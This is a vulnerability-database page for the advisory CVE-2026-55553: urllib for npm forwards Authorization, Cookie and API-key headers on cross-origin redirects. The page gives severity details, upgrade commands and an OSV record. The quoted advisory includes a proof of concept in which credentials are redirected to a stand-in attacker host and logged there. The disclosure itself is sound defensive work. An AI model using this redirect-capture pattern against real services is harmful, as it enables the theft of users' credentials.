Vulnerabilities in pkg:npm/urllib

PACKAGE
Advisory Identifier: GHSA-hq3h-g68c-hp78
Advisory Summary

CVE-2026-55553 is a HIGH (CVSS 7.5) urllib's cross-origin redirects preserve credential-bearing vulnerability (CWE-522: Insufficiently Protected Credentials) affecting Urllib libraries in the npm ecosystem. The issue involves urllib's cross-origin redirects preserve credential-bearing request headers, leading to potential credential leakage. Remediation is available by upgrading affected packages to version 4.9.1, 2.44.1.

1 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:npm/urllib

1 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:npm/urllib. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-hq3h-g68c-hp78 CVE-2026-55553 HIGH urllib's cross-origin redirects preserve credential-bearing request headers, leading to potential credential leakage

CVE-2026-55553 at a Glance

CVE Identifier CVE-2026-55553
GHSA Identifier GHSA-hq3h-g68c-hp78
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-522: Insufficiently Protected Credentials
Affected Product Urllib
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-55553

To remediate this vulnerability, upgrade all affected Urllib dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

urllib fixed: 4.9.1
npm install urllib@4.9.1
urllib fixed: 2.44.1
npm install urllib@2.44.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls urllib

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-55553, inspect your project dependencies using npm:

npm ls urllib

Analyze the terminal output to locate any version of Urllib in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.9.1), your application is affected.

Note: The npm ls urllib command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-522: Insufficiently Protected Credentials, where the product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval. In Urllib, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary urllib supports redirect-following through `followRedirect`, which is expected behavior for an HTTP client. The issue is that, when following a redirect to a **different origin**, urllib preserves the caller-supplied request headers verbatim, including credential-bearing headers such as `Authorization`, `Cookie`, `Proxy-Authorization`, and custom auth headers (`x-api-key`, `x-auth-token`, `x-access-token`). If the redirect target is attacker-controlled or outside the trust boundary of the original target, credentials intended for the original origin can be delivered to the redirected origin. In a local multi-library reproduction, urllib v4.9.0 was the only tested client that stripped no headers on cross-origin redirect. ## Affected behavior Confirmed against urllib v4.9.0. The relevant code is in `#requestInternal` ([`src/HttpClient.ts:639-656`](https://github.com/node-modules/urllib/blob/master/src/HttpClient.ts#L639-L656)): ```ts // https://developer.mozilla.org/en-US/docs/Web/HTTP/Redirections if (RedirectStatusCodes.includes(res.statusCode) && maxRedirects > 0 && requestContext.redirects < maxRedirects) { if (res.headers.location) { requestContext.redirects++; const nextUrl = new URL(res.headers.location, requestUrl.href); // Ensure the response is consumed await response.body.arrayBuffer(); debug( 'Request#%d got response, status: %s, headers: %j, timing: %j, redirect to %s', requestId, res.status, res.headers, res.timing, nextUrl.href, ); return await this.#requestInternal(nextUrl.href, options, requestContext); } } ``` The recursive call `this.#requestInternal(nextUrl.href, options, requestContext)` reuses the original `options` object. If the caller supplied credential-bearing headers in `options.headers`, those headers are reused for the redirected request, regardless of whether the redirect target shares the original origin. ## Redirect-header handling context The CHANGELOG suggests that redirect-related header handling has been considered before, including changes around preserving or cleaning up `Host` during redirects. Given that context, sensitive-header stripping may be an unintentional gap rather than an explicit policy decision. ## Proof of Concept: 3-container topology The reproduction uses three separate containers (`partner`, `attacker`, `client`) connected over a Podman bridge network. Each container has its own hostname, port, and process, so the redirect crosses a clear origin boundary. This is not a `localhost` vs `127.0.0.1` same-host case. ```text [client container] [partner container] [attacker container] hostname: client hostname: partner hostname: attacker port: 3001 port: 3002 urllib v4.9.0 │ │ GET http://partner:3001/start │ + 6 credential-bearing headers ↓ 302 Location: http://attacker:3002/captured │ │ urllib follows redirect │ → DIFFERENT ORIGIN │ (different hostname and port) │ → all 6 headers preserved ↓ headers logged inside attacker container ``` The origin tuple is `(scheme, host, port)`: - source origin: `http://partner:3001` - destination origin: `http://attacker:3002` The host and port both differ, so the redirect target is a different URL origin. The headers are logged in a separate process inside a separate container. **Client invocation** (`client/poc.mjs`): ```javascript import urllib from 'urllib' // v4.9.0 await urllib.request('http://partner:3001/start', { followRedirect: true, maxRedirects: 5, headers: { 'Authorization': 'Bearer LIVE-AUTH-3CONTAINER', 'Cookie': 'session=LIVE-COOKIE-3CONTAINER', 'Proxy-Authorization': 'Bearer proxy-LIVE-3CONTAINER', 'x-api-key': 'sk-LIVE-3CONTAINER-x123', 'x-auth-token': 'auth-LIVE-3CONTAINER-y456', 'x-access-token': 'access-LIVE-3CONTAINER-z789', }, }) ``` **Observed result** urllib 4.9.0, Node.js 22.22.2, linux/arm64: ```text [attacker] CAPTURED HEADERS: "authorization": "Bearer LIVE-AUTH-3CONTAINER" "cookie": "session=LIVE-COOKIE-3CONTAINER" "proxy-authorization": "Bearer proxy-LIVE-3CONTAINER" "x-api-key": "sk-LIVE-3CONTAINER-x123" "x-auth-token": "auth-LIVE-3CONTAINER-y456" "x-access-token": "access-LIVE-3CONTAINER-z789" "user-agent": "node-urllib/4.9.0 Node.js/22.22.2 (linux; arm64)" LEAK RATE: 6/6 ``` The `user-agent` value confirms that the redirected request was sent by urllib v4.9.0. ## Independent reproduction: multi-library comparison A separate local harness tested the same cross-origin redirect topology against multiple Node.js HTTP clients: - same `partner:3001 → attacker:3002` redirect; - same six credential-bearing headers; - same RFC 6454 origin boundary. The results were deterministic across runs: | Library | Leak rate | Headers stripped on cross-origin redirect | |---|---:|---| | undici 6.21.0 | 3/6 | `authorization`, `cookie`, `proxy-authorization` | | needle 3.5.0 | 3/6 | `authorization`, `cookie`, `proxy-authorization` | | node-fetch 3.3.2 | 4/6 | `authorization`, `cookie` | | superagent 10.3.0 | 4/6 | `authorization`, `cookie` | | @hapi/wreck 18.1.0 | 4/6 | `authorization`, `cookie` | | request 2.88.2 | 5/6 | `authorization` | | **urllib 4.9.0** | **6/6** | **none** | `urllib` was the only tested library that stripped no headers on cross-origin redirect. Custom auth headers such as `x-api-key`, `x-auth-token`, and `x-access-token` are an ecosystem-wide gap in this comparison. The urllib-specific issue is the absence of any strip step for standard credential-bearing headers such as `Authorization`, `Cookie`, and `Proxy-Authorization`. The reproduction harness is small and can be shared if useful. ## Impact This affects Node.js applications that use urllib to make authenticated HTTP requests while allowing redirects to be followed automatically. ```text 1. Application sends an authenticated request: GET https://api.partner.example/data Authorization: Bearer <token> Cookie: session=<session-id> 2. The partner endpoint, a compromised intermediary, or a misconfigured CDN returns: 302 Location: https://attacker.example/captured 3. urllib follows the redirect and sends the original Authorization and Cookie headers to attacker.example. ``` This exposes credentials to an origin that was not the intended recipient. Depending on the credential type and server-side validation, the leaked credentials may be reusable against the original partner API or related services. This requires no user interaction. Realistic triggers include compromised partner subdomains, DNS hijacking, malicious partner endpoints during onboarding, internal services redirecting across trust boundaries, or an open redirect upstream of urllib's call site.

CVE-2026-55553 Affected Urllib Versions

2 component(s)
Fixed Versions:
4.9.12.44.1
Product / Package Ecosystem Affected Versions Fixed Version
urllib
npm
≥ 3.0.0
< 4.9.1
4.9.1
urllib
npm
< 2.44.1
2.44.1

References

Frequently Asked Questions

What is CVE-2026-55553?
CVE-2026-55553 is a security vulnerability in Urllib involving urllib's cross-origin redirects preserve credential-bearing request headers, leading to potential credential leakage under CWE-522: Insufficiently Protected Credentials.
Which Urllib versions are affected?
Affected versions include releases prior to 4.9.1, 2.44.1 across affected packages: urllib.
What version fixes CVE-2026-55553?
Upgrading to 4.9.1, 2.44.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is urllib affected?
Yes, urllib is affected in releases prior to 4.9.1, 2.44.1. Upgrade your dependency to 4.9.1, 2.44.1 or later.
What is the CVSS score of CVE-2026-55553?
CVE-2026-55553 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N.
What CWE is associated with CVE-2026-55553?
CVE-2026-55553 is classified under CWE-522: Insufficiently Protected Credentials (The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval.).
How can I check npm dependencies for CVE-2026-55553?
Run the dependency tree command: 'npm ls urllib'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-hq3h-g68c-hp78",
  "modified" : "2026-08-25T16:19:32Z",
  "published" : "2026-08-25T16:19:32Z",
  "aliases" : [ "CVE-2026-55553" ],
  "summary" : "urllib's cross-origin redirects preserve credential-bearing request headers, leading to potential credential leakage",
  "details" : "## Summary\n\nurllib supports redirect-following through `followRedirect`, which is expected behavior for an HTTP client. The issue is that, when following a redirect to a **different origin**, urllib preserves the caller-supplied request headers verbatim, including credential-bearing headers such as `Authorization`, `Cookie`, `Proxy-Authorization`, and custom auth headers (`x-api-key`, `x-auth-token`, `x-access-token`).\n\nIf the redirect target is attacker-controlled or outside the trust boundary of the original target, credentials intended for the original origin can be delivered to the redirected origin. In a local multi-library reproduction, urllib v4.9.0 was the only tested client that stripped no headers on cross-origin redirect.\n\n## Affected behavior\n\nConfirmed against urllib v4.9.0. The relevant code is in `#requestInternal` ([`src/HttpClient.ts:639-656`](https://github.com/node-modules/urllib/blob/master/src/HttpClient.ts#L639-L656)):\n\n```ts\n     // https://developer.mozilla.org/en-US/docs/Web/HTTP/Redirections\n      if (RedirectStatusCodes.includes(res.statusCode) && maxRedirects > 0 && requestContext.redirects < maxRedirects) {\n        if (res.headers.location) {\n          requestContext.redirects++;\n          const nextUrl = new URL(res.headers.location, requestUrl.href);\n          // Ensure the response is consumed\n          await response.body.arrayBuffer();\n          debug(\n            'Request#%d got response, status: %s, headers: %j, timing: %j, redirect to %s',\n            requestId,\n            res.status,\n            res.headers,\n            res.timing,\n            nextUrl.href,\n          );\n          return await this.#requestInternal(nextUrl.href, options, requestContext);\n        }\n      }\n```\n\nThe recursive call `this.#requestInternal(nextUrl.href, options, requestContext)` reuses the original `options` object. If the caller supplied credential-bearing headers in `options.headers`, those headers are reused for the redirected request, regardless of whether the redirect target shares the original origin.\n\n## Redirect-header handling context\n\nThe CHANGELOG suggests that redirect-related header handling has been considered before, including changes around preserving or cleaning up `Host` during redirects. Given that context, sensitive-header stripping may be an unintentional gap rather than an explicit policy decision.\n\n## Proof of Concept: 3-container topology\n\nThe reproduction uses three separate containers (`partner`, `attacker`, `client`) connected over a Podman bridge network. Each container has its own hostname, port, and process, so the redirect crosses a clear origin boundary. This is not a `localhost` vs `127.0.0.1` same-host case.\n\n```text\n[client container]                       [partner container]              [attacker container]\nhostname: client                         hostname: partner                hostname: attacker\n                                         port: 3001                       port: 3002\n   urllib v4.9.0\n        │\n        │ GET http://partner:3001/start\n        │ + 6 credential-bearing headers\n        ↓\n                                         302 Location:\n                                         http://attacker:3002/captured\n                                                   │\n                                                   │ urllib follows redirect\n                                                   │ → DIFFERENT ORIGIN\n                                                   │   (different hostname and port)\n                                                   │ → all 6 headers preserved\n                                                   ↓\n                                                                          headers logged\n                                                                          inside attacker\n                                                                          container\n```\n\nThe origin tuple is `(scheme, host, port)`:\n\n- source origin: `http://partner:3001`\n- destination origin: `http://attacker:3002`\n\nThe host and port both differ, so the redirect target is a different URL origin. The headers are logged in a separate process inside a separate container.\n\n**Client invocation** (`client/poc.mjs`):\n\n```javascript\nimport urllib from 'urllib' // v4.9.0\n\nawait urllib.request('http://partner:3001/start', {\n  followRedirect: true,\n  maxRedirects: 5,\n  headers: {\n    'Authorization': 'Bearer LIVE-AUTH-3CONTAINER',\n    'Cookie': 'session=LIVE-COOKIE-3CONTAINER',\n    'Proxy-Authorization': 'Bearer proxy-LIVE-3CONTAINER',\n    'x-api-key': 'sk-LIVE-3CONTAINER-x123',\n    'x-auth-token': 'auth-LIVE-3CONTAINER-y456',\n    'x-access-token': 'access-LIVE-3CONTAINER-z789',\n  },\n})\n```\n\n**Observed result**  \nurllib 4.9.0, Node.js 22.22.2, linux/arm64:\n\n```text\n[attacker] CAPTURED HEADERS:\n  \"authorization\":       \"Bearer LIVE-AUTH-3CONTAINER\"\n  \"cookie\":              \"session=LIVE-COOKIE-3CONTAINER\"\n  \"proxy-authorization\": \"Bearer proxy-LIVE-3CONTAINER\"\n  \"x-api-key\":           \"sk-LIVE-3CONTAINER-x123\"\n  \"x-auth-token\":        \"auth-LIVE-3CONTAINER-y456\"\n  \"x-access-token\":      \"access-LIVE-3CONTAINER-z789\"\n  \"user-agent\":          \"node-urllib/4.9.0 Node.js/22.22.2 (linux; arm64)\"\n\nLEAK RATE: 6/6\n```\n\nThe `user-agent` value confirms that the redirected request was sent by urllib v4.9.0.\n\n## Independent reproduction: multi-library comparison\n\nA separate local harness tested the same cross-origin redirect topology against multiple Node.js HTTP clients:\n\n- same `partner:3001 → attacker:3002` redirect;\n- same six credential-bearing headers;\n- same RFC 6454 origin boundary.\n\nThe results were deterministic across runs:\n\n| Library | Leak rate | Headers stripped on cross-origin redirect |\n|---|---:|---|\n| undici 6.21.0 | 3/6 | `authorization`, `cookie`, `proxy-authorization` |\n| needle 3.5.0 | 3/6 | `authorization`, `cookie`, `proxy-authorization` |\n| node-fetch 3.3.2 | 4/6 | `authorization`, `cookie` |\n| superagent 10.3.0 | 4/6 | `authorization`, `cookie` |\n| @hapi/wreck 18.1.0 | 4/6 | `authorization`, `cookie` |\n| request 2.88.2 | 5/6 | `authorization` |\n| **urllib 4.9.0** | **6/6** | **none** |\n\n`urllib` was the only tested library that stripped no headers on cross-origin redirect. Custom auth headers such as `x-api-key`, `x-auth-token`, and `x-access-token` are an ecosystem-wide gap in this comparison. The urllib-specific issue is the absence of any strip step for standard credential-bearing headers such as `Authorization`, `Cookie`, and `Proxy-Authorization`.\n\nThe reproduction harness is small and can be shared if useful.\n\n## Impact\n\nThis affects Node.js applications that use urllib to make authenticated HTTP requests while allowing redirects to be followed automatically.\n\n```text\n1. Application sends an authenticated request:\n     GET https://api.partner.example/data\n     Authorization: Bearer <token>\n     Cookie: session=<session-id>\n\n2. The partner endpoint, a compromised intermediary, or a misconfigured CDN returns:\n     302 Location: https://attacker.example/captured\n\n3. urllib follows the redirect and sends the original Authorization and Cookie headers\n   to attacker.example.\n```\n\nThis exposes credentials to an origin that was not the intended recipient. Depending on the credential type and server-side validation, the leaked credentials may be reusable against the original partner API or related services.\n\nThis requires no user interaction. Realistic triggers include compromised partner subdomains, DNS hijacking, malicious partner endpoints during onboarding, internal services redirecting across trust boundaries, or an open redirect upstream of urllib's call site.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "urllib"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.0.0"
      }, {
        "fixed" : "4.9.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.9.0"
    }
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "urllib"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.44.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.44.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/node-modules/urllib/security/advisories/GHSA-hq3h-g68c-hp78"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/node-modules/urllib/pull/812"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/node-modules/urllib/pull/813"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/node-modules/urllib/commit/7c86c465883ebd3dea5109c87d7bbe3b00960a16"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/node-modules/urllib/commit/811a8d56e64e540bf6a19bf8b3737692f05d5c46"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/node-modules/urllib"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/node-modules/urllib/releases/tag/v2.44.1"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/node-modules/urllib/releases/tag/v4.9.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-200", "CWE-201", "CWE-522" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-25T16:19:32Z",
    "nvd_published_at" : null
  }
}